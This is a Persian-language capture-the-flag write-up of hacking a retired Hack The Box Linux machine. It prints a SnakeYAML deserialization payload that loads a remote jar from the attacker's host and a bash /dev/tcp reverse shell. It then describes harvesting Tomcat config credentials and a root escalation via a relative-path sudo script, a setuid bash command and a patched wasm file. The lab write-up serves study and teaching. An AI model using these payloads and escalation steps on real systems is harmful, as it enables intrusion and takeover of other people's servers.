این سیستم مدتی کم از حالت فعال در اومد و غیرفعال شد و قبل غیرفعال شدنش هم من تونستم این سیستم رو هک کنم و این پست رایت آپ من برای چگونگی هک این سیستم است.
اگر نمیدونید hackthebox چیه٬ hackthebox یک پلتفرمه که چالش های CTF رو میتونین در اون حل کنید و امتیاز کسب کنید٬ این پلتفرم هم چالش داره و هم سیستم هایی برای هک که مانند سیستم های واقعی عمل میکنند.
اطلاعات چندانی نمیشه در این پلتفرم پیدا کرد ولی اینو میدونیم که سیستم از نوع لینوکسه و آی پی اش هم ۱۰.۱۰.۱۰.۲۲۷ هست.
در این مرحله از ابزار nmap برای پیدا کردن پورت و سرویس های باز در سیستم استفاده کردم که دستورش رو به این صورت نوشتم:
nmap -T5 -A -p- 10.10.10.227
که نتیجه اش به این صورت اومد:
دو پورت باز وجود داره٬ یکی برای ssh و یکی دیگه برای http. از ssh به تنهایی نمیشه استفاده کرد تا به سیستم نفوذ بشه٬ پس رفتم به سمت سرور http که وجود داشت و با این صفحه مواجه شدم:
در این صفحه یک باکس وجود داره که میشه ازش استفاده کرد تا دستور های yaml رو اجرا کنیم٬ به همین خاطر به دنبال یک حفره امنیتی براش گشتم و به دو لینک رسیدم که یکیش یک مقاله در سایت مدیوم بود و یکی دیگه هم یک ریپوزیتوری در گیتهاب. به طور خلاصه این حفره امنیتی از کنستراکتور جاوا استفاده میکنه که اجرا کنه کد رو و یک ادرس میده به اون سرور که بهش درخواست بده و ماهم میتونیم بهش ادرس یک فایل رو بدیم که برامون یک reverse shell بیاره.
برای اینکار ریپوزیتوری گیتهاب رو کلون کردم و بعد تغییراتی توی فایل جاوایی که توی مسیر src/artsploit وجود داشت دادم که به این صورت بود:
در خط اولی که Runtime.getRuntime وجود داره بهش یک دستور دادم که از سمت اون سرور اجرا کنه٬ این دستور یک فایل reverse shell از سرور من دانلود میکنه و در پوشه tmp ذخیره میکنه و بعد در خط بعدی بهش میگم که این فایل رو اجرا کنه تا به من یک shell بده. کد این فایل هم به این صورته:
#!/bin/bash
bash -i >& /dev/tcp/10.10.xx.xx/8888 0>&1
برای کامپایل کردن فایل جاوا هم به پوشه ای که پوشه src داخلش بود cd کردم و بعد دستور هایی که در صفحه گیتهاب وجود داشت رو اجرا کردم و یک فایل jar ساختم. بعد از این کار دوباره رفتم سر سرویس http و این دستور رو درون اون باکس نوشتم:
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [“http://10.10.xx.xx:8000/snakeyaml/yaml-payload.jar"] ]] ]
این دستور کانستراکتور جاوا رو فراخوانی میکنه و بعد یک درخواست به فایلی که من کامپایل کردم میده و با این کار فایل reverse shell رو دانلود و اجرا میکنه. منم با استفاده از دستور nc به پورت ۸۸۸۸ گوش کردم تا وقتی به من درخواست میده یک shell بگیرم. بعد از وارد شدن به سیستم رفتم به پوشه /opt/tomcat/ چون سرویس http از tomcat استفاده میکرد و اون پوشه هم پوشه ایه که tomcat تنظیماتش رو ذخیره میکنه. در اون پوشه یک پوشه conf وجود داشت که به نظر جالب میومد و درونش هم چندتا فایل وجود داشت که همشون رو با استفاده از دستور cat و پایپ کردنش به grep تونستم ببینم:
در این پوشه نام کاربری و رمز عبور admin وجود داشت و با استفاده از این اطلاعات به سیستم ssh کردم و تونستم وارد بشم٬ در پوشه home این کاربر پرچم کاربر وجود داشت.
بعد از مرحله قبل میرسیم به ارتقا سطح کاربری به root. برای اینکار از دستور sudo -l استفاده کردم تا ببینم دستوری هست که بتونم اجرا کنم یا نه و بود:
مثل اینکه با استفاده از go میشه یک فایل که در پوشه opt/wasm-functions وجود داره رو اجرا کرد پس اجراش کردم و به یک اررور رسیدم که با cd کردن به پوشه خودش درست شد و بعد اررور not ready to deploy رو دیدم٬ برای همین سورس کد فایل index.go رو خوندم که یک سری چیز جالب به چشمم خورد:
چون از مسیر کاملی استفاده نمیکنه و متغیره میشه از این استفاده کرد و فایل های خودممو بسازم و به این اسکریپت بدمش برای همین به پوشه tmp رفتم و فولدر خودم رو ساختم و فایل main.wasm رو به اونجا کپی کردم و فایل deploy.sh رو خودم ساختم و این دستور رو داخلش نوشتم:
chmod +s /bin/bash
که به کاربران عادی اجازه میده تا به جای کاربر root این دستور رو اجرا کنن و بنابراین میشه به root رسید. اما بازم به اون خطا نرسیدیم٬ همانطور که از خط های اول این فانکشن معلومه٬ فایل main.wasm رو میخونه و یک متغیر رو از داخلش میخونه که باید مقدارش ۱ باشه تا کار کنه. چون میتونیم فایل خودمون رو بدیم به این اسکریپت٬ main.wasm رو به سیستم خودم کپی کردم و با استفاده از دستور wasm2wat یک فایل wat ساختم ازش تا ببینم دقیق چه خبره:
و در خط چهارم یک متیغیر وجود داره که ثابته و مقدارش ۰ هست٬ مقدارش رو به ۱ تغییر دادم و با استفاده از دستور wat2wasm دوباره تبدیلش کردم به wasm و از طرف اون سیستم این فایل رو دانلود کردم و جایگذاری کردم و دوباره اسکریپت رو اجرا کردم و تونستم به root برسم:
در پوشه root هم پرچم root وجود داره.